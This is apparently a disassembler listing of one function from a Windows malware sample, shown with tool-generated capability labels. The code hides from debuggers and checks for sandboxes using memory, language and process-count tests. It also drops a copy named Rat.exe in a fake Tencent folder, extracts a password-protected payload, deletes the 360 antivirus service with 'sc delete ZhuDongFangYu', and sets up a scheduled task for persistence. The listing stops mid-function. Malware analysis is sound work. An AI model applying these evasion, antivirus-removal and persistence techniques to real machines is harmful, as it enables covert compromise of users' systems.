Function at 0x140002b70
Capabilities:
Check if file exists
Check os version
Copy file
Create directory
Create process on windows
Create thread
Enumerate processes
Get file attributes
Get file size
Get memory capacity
Hide thread from debugger
Identify system language via api

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2958]
mov eax, 0x2a58
call fcn.140005820
sub rsp, rax
xor r13d, r13d
call qword [sym.imp.KERNEL32.DLL_FreeConsole]
lea edx, [r13 + 1]
lea rcx, [0x140002b00]
call qword [sym.imp.KERNEL32.DLL_SetConsoleCtrlHandler]
lea rcx, [0x14000a488]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x140003c68
lea rdx, str.ZwSetInformationThread
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140003c68
call qword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov rcx, rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r13 + 0x11]
call rbx
mov r8d, 0x104
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r13 + 1]
lea rcx, [rbp + 0x740]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003c68
lea rdx, [rbp + 0x29a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
je 0x140003c68
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rbp + 0x29a0]
mulsd xmm0, qword [0x14000a9a8]
comisd xmm0, xmmword [0x14000a9b8]
ja 0x140003c68
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp + 0xd4]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0xd0], 0x11c
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.DLL_GetVersionExW]
test eax, eax
je 0x140003c45
mov eax, dword [rbp + 0xd4]
cmp eax, 0xa
jb 0x140002ce5
mov dword [rbp + 0x29a0], 1
lea r8d, [r13 + 4]
lea rdx, [rbp + 0x29a0]
lea ecx, [r13 + 8]
call qword [0x14000d1c0]
jmp 0x140002cee
cmp eax, 5
jb 0x140003c68
mov dword [rbp + 0x90], 0x40
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.DLL_GlobalMemoryStatusEx]
test eax, eax
je 0x140003c68
mov rcx, qword [rbp + 0x98]
xorps xmm1, xmm1
test rcx, rcx
js 0x140002d23
cvtsi2sd xmm1, rcx
jmp 0x140002d38
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, qword [0x14000a9a0]
movsd xmm0, qword [0x14000a9c0]
comisd xmm0, xmm1
ja 0x140003c68
call fcn.140002300
test al, al
jne 0x140003c68
call qword [sym.imp.KERNEL32.DLL_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 4
jne 0x140003c68
lea rdx, str.C_Python27python.exe
lea rcx, [rsp + 0x70]
call fcn.140003d60
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov rdi, 0xffffffffffffffff
cmp rax, rdi
jne 0x140002dbe
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_FindClose]
xor bl, bl
jmp 0x140002dc9
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_FindClose]
mov bl, 1
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140002e0d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e08
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004bc4
test bl, bl
jne 0x140003c68
mov r8d, 0x104
lea rdx, [rbp + 0x530]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
mov r8d, 0x1e
lea rsi, str.C:Program_Files__x86_Tencent
mov rdx, rsi
lea rcx, [rbp + 0x530]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncmp]
test eax, eax
je 0x14000307f
mov r8d, 0x104
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
mov edx, 0x5c
lea rcx, [rbp + 0xd0]
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
test rax, rax
je 0x140002eea
lea rdx, [rax + 2]
lea rcx, [rsp + 0x70]
call fcn.140003d60
nop
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, [rbp - 0x28]
call fcn.140003d60
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140002f18
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ee3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ee3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004bc4
jmp 0x140002f18
lea rdx, str.Failed_to_extract_program_name.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004060
mov rcx, rax
lea rdx, [0x140004230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.140003d60
lea rcx, [rbp - 0x28]
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
cmp r10, 7
cmova rcx, r9
mov r8, qword [rbp - 0x18]
cmp r8, 7
jne 0x140002f5c
lea rdx, str.Rat.exe
test r8, r8
je 0x140002f58
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x140002f5c
add rcx, 2
add rdx, 2
sub r8, 1
jne 0x140002f42
mov bl, 1
jmp 0x140002f5e
xor bl, bl
cmp r10, 7
jbe 0x140002f9c
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140002f94
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r9
call fcn.140004bc4
test bl, bl
jne 0x140003c68
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140003d60
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002fd0
test al, 0x10
jne 0x140002fd2
mov bl, 1
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003016
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003011
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003011
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004bc4
test bl, bl
je 0x140003025
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
xor r8d, r8d
lea rdx, str.C:Program_Files__x86_TencentRat.exe
lea rcx, [rbp + 0x530]
call qword [sym.imp.KERNEL32.DLL_CopyFileW]
test eax, eax
je 0x140003c68
lea rdx, str.C:Program_Files__x86_TencentRat.exe
lea rcx, [rbp + 0xd0]
call fcn.140004270
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0xd0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x140003c68
call fcn.140004830
test al, al
je 0x140003258
mov ecx, 8
call fcn.140004b88
lea rcx, [0x140001d90]
mov qword [rax], rcx
mov qword [rbp + 0x29a0], rax
lea rcx, [rbp - 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140004590]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140003248
cmp dword [0x14000d08c], 0
je 0x1400030f4
nop
mov ecx, 0xf
call qword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [0x14000d08c], 0
jne 0x1400030e0
lea rdx, [0x14000a5a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004060
mov rcx, rax
lea rdx, [0x140004230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.C:Program_Files__x86_Tencent_svchost.exe
lea rcx, [rsp + 0x70]
call fcn.140003d60
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x140003158
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_FindClose]
xor bl, bl
jmp 0x140003163
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_FindClose]
mov bl, 1
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400031a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400031a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004bc4
test bl, bl
je 0x1400031ee
lea rdx, str.C:Program_Files__x86_Tencent_svchost.exe
lea rcx, [rbp + 0xd0]
call fcn.140004270
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0xd0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1869f
call qword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x1400031e1
call fcn.140002950
cmp dword [rbp - 0x68], 0
jne 0x140003205
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp - 0x68], eax
jne 0x14000321c
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rsp + 0x70], xmm0
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x140003243
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
jmp 0x140003c68
mov dword [rbp - 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rcx, [rbp + 0x29a8]
call qword [sym.imp.KERNEL32.DLL_QueryPerformanceFrequency]
lea rcx, [rbp + 0x29a0]
call qword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
xorps xmm2, xmm2
cvtsi2sd xmm2, qword [rbp + 0x29a0]
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rbp + 0x29a8]
divsd xmm2, xmm0
movsd xmm1, qword [0x14000a9b0]
comisd xmm1, xmm2
ja 0x140003c68
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, rdi
je 0x140003c68
mov dword [rbp + 0x2e0], 0x238
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp + 0x2e4]
call sub.VCRUNTIME140.dll_memset
mov ebx, r13d
lea rdx, [rbp + 0x2e0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x140003c68
inc ebx
lea rdx, [rbp + 0x2e0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x1400032f0
cmp ebx, 0x28
jl 0x140003c68
lea rdx, str.data.png
lea rcx, [rbp - 0x48]
call fcn.140003eb0
lea r8, [0x14000a5b8]
mov edx, 0x67
mov rcx, rax
call fcn.1400045d0
lea rdx, [0x14000a5d8]
lea rcx, [rbp - 0x48]
call fcn.140003eb0
lea r8, [0x14000a5d0]
mov edx, 0x68
mov rcx, rax
call fcn.1400045d0
lea rdx, str.C:Program_Files__x86_Tencent7za.exe
lea rcx, [rbp + 0xd0]
call fcn.140004270
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
lea r9, str.x_data.png__psb360
lea r8, [rbp + 0xd0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, str.C:Program_Files__x86_Tencent_tProtect.sys
lea rcx, [rsp + 0x70]
call fcn.140003d60
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
cmp rax, rdi
jne 0x1400033d1
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_FindClose]
xor bl, bl
jmp 0x1400033dc
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_FindClose]
mov bl, 1
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003419
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003414
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000342d
call fcn.140004bc4
test bl, bl
jne 0x140003434
mov ecx, 0xf
call qword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x140003391
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, 8
call fcn.140004b88
lea rcx, [0x140001d40]
mov qword [rax], rcx
mov qword [rbp + 0x29a0], rax
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140004590]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140003c35
lea rdx, str.Wmh1RG9uZ0ZhbmdZdS5leGU
lea rcx, [rbp + 0x70]
call fcn.140003eb0
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.1400011f0
nop
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140004700
mov rsi, rax
cmp qword [rax + 0x18], 7
jbe 0x1400034b5
mov rsi, qword [rax]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140003501
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_create_process_snapshot._Error_c1ode:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004060
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140004230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003551
mov dword [rbp + 0x2e0], 0x238
lea rdx, [rbp + 0x2e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x140003548
nop
mov rdx, rsi
lea rcx, [rbp + 0x30c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x140003593
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x140003520
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, r13d
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400035a5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, 1
jmp 0x140003554
call fcn.140004bc4
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r13w
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x1400035f5
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004bc4
test ebx, ebx
je 0x1400036c6
mov dword [0x14000d1bc], 1
lea rdx, [0x14000a6d8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004060
mov rcx, rax
lea rdx, [0x140004230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 3
call qword [sym.imp.KERNEL32.DLL_SetErrorMode]
mov dword [rbp], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.tgp_daemon.exe
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14000a710]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004060
mov rcx, rax
lea rdx, [0x140004230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 8
call fcn.140004b88
lea rcx, [0x140001d90]
mov qword [rax], rcx
mov qword [rbp + 0x29a0], rax
lea rcx, [rbp - 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140004590]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140003c25
cmp dword [0x14000d08c], 0
je 0x140003734
nop dword [rax]
mov ecx, 0xf
call qword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [0x14000d08c], 0
jne 0x140003720
lea rdx, [0x14000a5a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004060
mov rcx, rax
lea rdx, [0x140004230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [0x14000d1bc], 0
je 0x14000385d
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
jne 0x1400037b5
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_open_service_control_manager._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004060
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140004230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000385d
mov r8d, 4
lea rdx, [0x14000a728]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
je 0x14000381e
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
lea r9, str._c_sc_delete_ZhuDongFangYu
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, [0x14000a790]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004060
jmp 0x1400037a0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
lea rdx, str.Service_does_not_exist._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004060
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140004230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x29a8]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000390b
mov dword [rbp + 0x29a0], r13d
lea rax, [rbp + 0x29a0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, qword [rbp + 0x29a8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rbp + 0x29a0]
test eax, eax
je 0x14000390b
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14000390b
lea rax, [rbp + 0x29a0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x29a0]
mov r8, rbx
mov edx, 1
mov rcx, qword [rbp + 0x29a8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14000390b
lea rdx, [rbp + 0x29b0]
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
test eax, eax
mov rbx, qword [rbp + 0x29b0]
jne 0x14000390e
mov rbx, r13
lea rdx, str._UserId_
lea r14, str.__xml_version_1.0_____n_Task_xmlns_http:__schemas.microsoft.com_windows_2004_02_mit_task___n___RegistrationInfo__n_____Date_2005_10_11T13:21:17_08:00__Date__n_____Author_Microsoft_Corporation__Author__n_____Version_1.0.0__Version__n_____Description_
mov rcx, r14
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
mov rsi, rax
sub rsi, r14
sar rsi, 1
add rsi, 8
lea r15, [rsi + rsi]
lea rcx, [r15 + r14]
lea rdx, str.__UserId_
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
mov r12, rax
sub r12, r14
sar r12, 1
mov rcx, rdi
inc rcx
cmp word [rbx + rcx*2], 0
jne 0x140003953
add rcx, 0x717
mov eax, 2
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.140004cc8
mov r14, rax
mov r8, r15
lea rdx, str.__xml_version_1.0_____n_Task_xmlns_http:__schemas.microsoft.com_windows_2004_02_mit_task___n___RegistrationInfo__n_____Date_2005_10_11T13:21:17_08:00__Date__n_____Author_Microsoft_Corporation__Author__n_____Version_1.0.0__Version__n_____Description_
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rbx
sub r15, rbx
lea r8, [r15 + r14]
nop word [rax + rax]
movzx ecx, word [rdx]
mov word [rdx + r8], cx
lea rdx, [rdx + 2]
test cx, cx
jne 0x1400039a0
lea rax, str.__xml_version_1.0_____n_Task_xmlns_http:__schemas.microsoft.com_windows_2004_02_mit_task___n___RegistrationInfo__n_____Date_2005_10_11T13:21:17_08:00__Date__n_____Author_Microsoft_Corporation__Author__n_____Version_1.0.0__Version__n_____Description_
lea rdx, [rax + r12*2]
nop dword [rax]
inc rdi
cmp word [rbx + rdi*2], 0
jne 0x1400039c0
add rdi, rsi
lea rcx, [r14 + rdi*2]
movzx eax, word [rdx]
mov word [rcx], ax
lea rdx, [rdx + 2]
lea rcx, [rcx + 2]
test ax, ax
jne 0x1400039d1
mov rdx, r14
lea rcx, [0x14000a7dc]
call fcn.140001be0
mov qword [rbp + 0x29a0], r13
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rax, [rbp + 0x29a8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, str.pipe_atsvc
lea r8, str.localhost
lea rdx, str.ncacn_np
xor ecx, ecx
call qword [sym.imp.RPCRT4.dll_RpcStringBindingComposeW]
test eax, eax
je 0x140003a4a
mov edx, eax
lea rcx, str.RpcStringBindingCompose__0x_x_n
call fcn.140001ca0
mov rbx, r13
jmp 0x140003ad7
lea rdx, [rbp + 0x29a0]
mov rcx, qword [rbp + 0x29a8]
call qword [sym.imp.RPCRT4.dll_RpcBindingFromStringBindingW]
test eax, eax
je 0x140003a70
mov edx, eax
lea rcx, str.RpcBindingFromStringBinding__0x_x_n
call fcn.140001ca0
mov qword [rsp + 0x70], 1
mov dword [rsp + 0x7c], 3
mov dword [rsp + 0x78], r13d
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor edx, edx
lea r9d, [rdx + 0xa]
